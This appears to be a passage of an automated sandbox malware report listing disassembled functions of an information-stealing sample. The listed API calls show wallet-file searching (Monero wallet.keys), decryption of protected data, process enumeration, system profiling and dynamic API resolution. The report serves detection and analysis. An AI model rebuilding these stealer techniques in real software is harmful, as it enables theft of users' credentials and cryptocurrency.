Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 97288a2e9028473d5e8193b38c4420cfcec6805688708d41070efd1637ade2d1
Instruction ID: 4ee378b4b4b70ebca9f37f0ffe9f89a07db32d2d9aa8d30e3a59f1925ab8cb3b
Opcode Fuzzy Hash: 97288a2e9028473d5e8193b38c4420cfcec6805688708d41070efd1637ade2d1
Instruction Fuzzy Hash: 2D413DB194021CABDB24DB94DC99BFEB374FF54700FA04199E60962191DB742F86CFA1

Function 001EE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001FA740: lstrcpy.KERNEL32(00200E17,00000000), ref: 001FA788

Part of subcall function 001FA920: lstrcpy.KERNEL32(00000000,?), ref: 001FA972
Part of subcall function 001FA920: lstrcat.KERNEL32(00000000), ref: 001FA982

Part of subcall function 001FA9B0: lstrlen.KERNEL32(?,01438AF0,?,\Monero\wallet.keys,00200E17), ref: 001FA9C5
Part of subcall function 001FA9B0: lstrcpy.KERNEL32(00000000), ref: 001FAA04
Part of subcall function 001FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001FAA12

Part of subcall function 001FA8A0: lstrcpy.KERNEL32(?,00200E17), ref: 001FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00200D73), ref: 001EE4A2
StrCmpCA.SHLWAPI(?,002014F8), ref: 001EE4F2
StrCmpCA.SHLWAPI(?,002014FC), ref: 001EE508
FindNextFileA.KERNEL32(000000FF,?), ref: 001EEBDF

Strings

\*.*, xrefs: 001EE44D

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 73e416e6db2f4e74c10eb993caea57050d20d08839075ac8919cbcbe27c09a22
Instruction ID: 182147f1473f56d9851f7bb16b4158ae32dcb623874157e1ced95d9451111000
Opcode Fuzzy Hash: 73e416e6db2f4e74c10eb993caea57050d20d08839075ac8919cbcbe27c09a22
Instruction Fuzzy Hash: 59122FB191011C9ADB14FB60DC96EFD7378AF64340FC045A8B60E96091EF786F59CB92

Function 001F9600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 001F961E
Process32First.KERNEL32(00200ACA,00000128), ref: 001F9632
Process32Next.KERNEL32(00200ACA,00000128), ref: 001F9647
StrCmpCA.SHLWAPI(?,00000000), ref: 001F965C
CloseHandle.KERNEL32(00200ACA), ref: 001F967A

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 1418c43fe396cd52cea638d01fedaaedb716a59a4973e5ebe559d977af6cc633
Instruction ID: 4426443df519edf2cfa98d49d6045f919e58e55fa2f82c1ba9d1ce83860c94c4
Opcode Fuzzy Hash: 1418c43fe396cd52cea638d01fedaaedb716a59a4973e5ebe559d977af6cc633
Instruction Fuzzy Hash: 60011EB5A00208EBCB24EFA5CD48BEDB7F8EF48310F504198AA05D7240EB349B55CF55

Function 001F7A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0143D838,00000000,?,00200E10,00000000,?,00000000,00000000), ref: 001F7A63
RtlAllocateHeap.NTDLL(00000000), ref: 001F7A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0143D838,00000000,?,00200E10,00000000,?,00000000,00000000,?), ref: 001F7A7D
wsprintfA.USER32 ref: 001F7AB7

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 8dbdc0a8c699fde1e8f234db2b3bbbc8590116b960b799759a4edb37583c9b44
Instruction ID: 83d737be938832d1b830e94706273e1b4765bde4377576b23a98a8649c8127d1
Opcode Fuzzy Hash: 8dbdc0a8c699fde1e8f234db2b3bbbc8590116b960b799759a4edb37583c9b44
Instruction Fuzzy Hash: A6118EB1A45218EBEB20DF54DC49FA9B778FB04721F1047AAEA0A932C0D7741A41CF51

Function 001E9B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 001E9B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 001E9BA3
LocalFree.KERNEL32(?), ref: 001E9BD3

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 33914f19409ee7d3442d059beb7759523089972ef0c6f0b06b48f5d4fed07f72
Instruction ID: d61ed517d225585b0ba8b861e13a71d161bb022d9ac97b280d98a19410d9453e
Opcode Fuzzy Hash: 33914f19409ee7d3442d059beb7759523089972ef0c6f0b06b48f5d4fed07f72
Instruction Fuzzy Hash: 1911E8B4A00209DFCB04DF94D985AAE77B5FB88300F104568EC1597350D774AE51CB61

Function 001F7850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001E11B7), ref: 001F7880
RtlAllocateHeap.NTDLL(00000000), ref: 001F7887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 001F789F

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: de153db10e100eaacc4c9181783f35c51a830bd0d3eb7e8f37a33d6478725122
Instruction ID: edb239de069496250936e915369e9cc486f6996df876b09ef1a4ac615f2ddad9
Opcode Fuzzy Hash: de153db10e100eaacc4c9181783f35c51a830bd0d3eb7e8f37a33d6478725122
Instruction Fuzzy Hash: 8FF04FB1A44208ABC714DF98DD49FAEBBB8EB05711F10066AFA05A2680C77455058BA1

Function 001E1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 001E116A
ExitProcess.KERNEL32 ref: 001E117E

Memory Dump Source

Source File: 00000000.00000002.2309286076.00000000001E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001E0000, based on PE: true

Associated: 00000000.00000002.2309078236.00000000001E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000265000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000268000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000272000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000291000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.000000000029D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2309286076.00000000003AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.000000000043E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000005C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2310692956.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2311955334.00000000006E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2312891850.0000000000880000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2313018808.0000000000881000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e0000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 511552bae29c5af34058233ecd2678e51711d562f4a404954866230cdadac9e9
Instruction ID: 4a636ca0292cf401992dafb406265da068a55b0201a6f09bc12e1660305e8631
Opcode Fuzzy Hash: 511552bae29c5af34058233ecd2678e51711d562f4a404954866230cdadac9e9
Instruction Fuzzy Hash: 50D05E74A0030CDBCB10DFE0DC496EDBB78FB48311F4005A4DD0562340EB309492CAAA

Function 001F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01426980), ref: 001F9C2D
GetProcAddress.KERNEL32(75900000,014269A0), ref: 001F9C45
GetProcAddress.KERNEL32(75900000,01438F58), ref: 001F9C5E
GetProcAddress.KERNEL32(75900000,01438FB8), ref: 001F9C76
GetProcAddress.KERNEL32(75900000,0143CA98), ref: 001F9C8E
GetProcAddress.KERNEL32(75900000,0143C9C0), ref: 001F9CA7
GetProcAddress.KERNEL32(75900000,0142B130), ref: 001F9CBF
GetProcAddress.KERNEL32(75900000,0143C960), ref: 001F9CD7
GetProcAddress.KERNEL32(75900000,0143CAE0), ref: 001F9CF0
GetProcAddress.KERNEL32(75900000,0143CAB0), ref: 001F9D08
GetProcAddress.KERNEL32(75900000,0143C8A0), ref: 001F9D20
GetProcAddress.KERNEL32(75900000,01426680), ref: 001F9D39
GetProcAddress.KERNEL32(75900000,014266E0), ref: 001F9D51
GetProcAddress.KERNEL32(75900000,01426820), ref: 001F9D69
GetProcAddress.KERNEL32(75900000,01426840), ref: 001F9D82
GetProcAddress.KERNEL32(75900000,0143CAC8), ref: 001F9D9A
GetProcAddress.KERNEL32(75900000,0143CA08), ref: 001F9DB2
GetProcAddress.KERNEL32(75900000,0142B1F8), ref: 001F9DCB
GetProcAddress.KERNEL32(75900000,01426700), ref: 001F9DE3
GetProcAddress.KERNEL32(75900000,0143CA20), ref: 001F9DFB
GetProcAddress.KERNEL32(75900000,0143C8E8), ref: 001F9E14
GetProcAddress.KERNEL32(75900000,0143CA80), ref: 001F9E2C
GetProcAddress.KERNEL32(75900000,0143CAF8), ref: 001F9E44
GetProcAddress.KERNEL32(75900000,014267E0), ref: 001F9E5D
GetProcAddress.KERNEL32(75900000,0143C9A8), ref: 001F9E75
GetProcAddress.KERNEL32(75900000,0143C978), ref: 001F9E8D
GetProcAddress.KERNEL32(75900000,0143C810), ref: 001F9EA6
GetProcAddress.KERNEL32(75900000,0143C828), ref: 001F9EBE
GetProcAddress.KERNEL32(75900000,0143C8B8), ref: 001F9ED6
GetProcAddress.KERNEL32(75900000,0143C840), ref: 001F9EEF
GetProcAddress.KERNEL32(75900000,0143C858), ref: 001F9F07
GetProcAddress.KERNEL32(75900000,0143CA50), ref: 001F9F1F
GetProcAddress.KERNEL32(75900000,0143C870), ref: 001F9F38
GetProcAddress.KERNEL32(75900000,01439EA8), ref: 001F9F50
GetProcAddress.KERNEL32(75900000,0143C900), ref: 001F9F68
GetProcAddress.KERNEL32(75900000,0143C888), ref: 001F9F81
GetProcAddress.KERNEL32(75900000,01426880), ref: 001F9F99
GetProcAddress.KERNEL32(75900000,0143C9D8), ref: 001F9FB1
GetProcAddress.KERNEL32(75900000,014268A0), ref: 001F9FCA
GetProcAddress.KERNEL32(75900000,0143C8D0), ref: 001F9FE2
GetProcAddress.KERNEL32(75900000,0143C918), ref: 001F9FFA
GetProcAddress.KERNEL32(75900000,01426460), ref: 001FA013
GetProcAddress.KERNEL32(75900000,01426560), ref: 001FA02B
LoadLibraryA.KERNEL32(0143CA38,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA03D
LoadLibraryA.KERNEL32(0143C930,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA04E
LoadLibraryA.KERNEL32(0143C948,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA060
LoadLibraryA.KERNEL32(0143C990,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA072
LoadLibraryA.KERNEL32(0143C9F0,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA083
LoadLibraryA.KERNEL32(0143CA68,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA095
LoadLibraryA.KERNEL32(0143CD20,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA0A7
LoadLibraryA.KERNEL32(0143CD98,?,001F5CA3,00200AEB,?,?,?,?,?,?,?,?,?,?,00200AEA,00200AE3), ref: 001FA0B8
GetProcAddress.KERNEL32(75FD0000,01426580), ref: 001FA0DA
GetProcAddress.KERNEL32(75FD0000,0143CD50), ref: 001FA0F2
GetProcAddress.KERNEL32(75FD0000,014389E0), ref: 001FA10A
GetProcAddress.KERNEL32(75FD0000,0143CBD0), ref: 001FA123
GetProcAddress.KERNEL32(75FD0000,01426420), ref: 001FA13B
GetProcAddress.KERNEL32(734B0000,0142B220), ref: 001FA160
GetProcAddress.KERNEL32(734B0000,01426620), ref: 001FA179
GetProcAddress.KERNEL32(734B0000,0142AFA0), ref: 001FA191
GetProcAddress.KERNEL32(734B0000,0143CD08), ref: 001FA1A9
GetProcAddress.KERNEL32(734B0000,0143CBE8), ref: 001FA1C2
GetProcAddress.KERNEL32(734B0000,014265A0), ref: 001FA1DA
GetProcAddress.KERNEL32(734B0000,01426280), ref: 001FA1F2
GetProcAddress.KERNEL32(734B0000,0143CCA8), ref: 001FA20B
GetProcAddress.KERNEL32(763B0000,01426500), ref: 001FA22C
GetProcAddress.KERNEL32(763B0000,014263A0), ref: 001FA244
GetProcAddress.KERNEL32(763B0000,0143CC90), ref: 001FA25D
GetProcAddress.KERNEL32(763B0000,0143CCC0), ref: 001FA275
GetProcAddress.KERNEL32(763B0000,01426440), ref: 001FA28D
GetProcAddress.KERNEL32(750F0000,0142AFC8), ref: 001FA2B3
GetProcAddress.KERNEL32(750F0000,0142B2C0), ref: 001FA2CB
GetProcAddress.KERNEL32(750F0000,0143CC18), ref: 001FA2E3
GetProcAddress.KERNEL32(750F0000,01426640), ref: 001FA2FC
GetProcAddress.KERNEL32(750F0000,01426340), ref: 001FA314
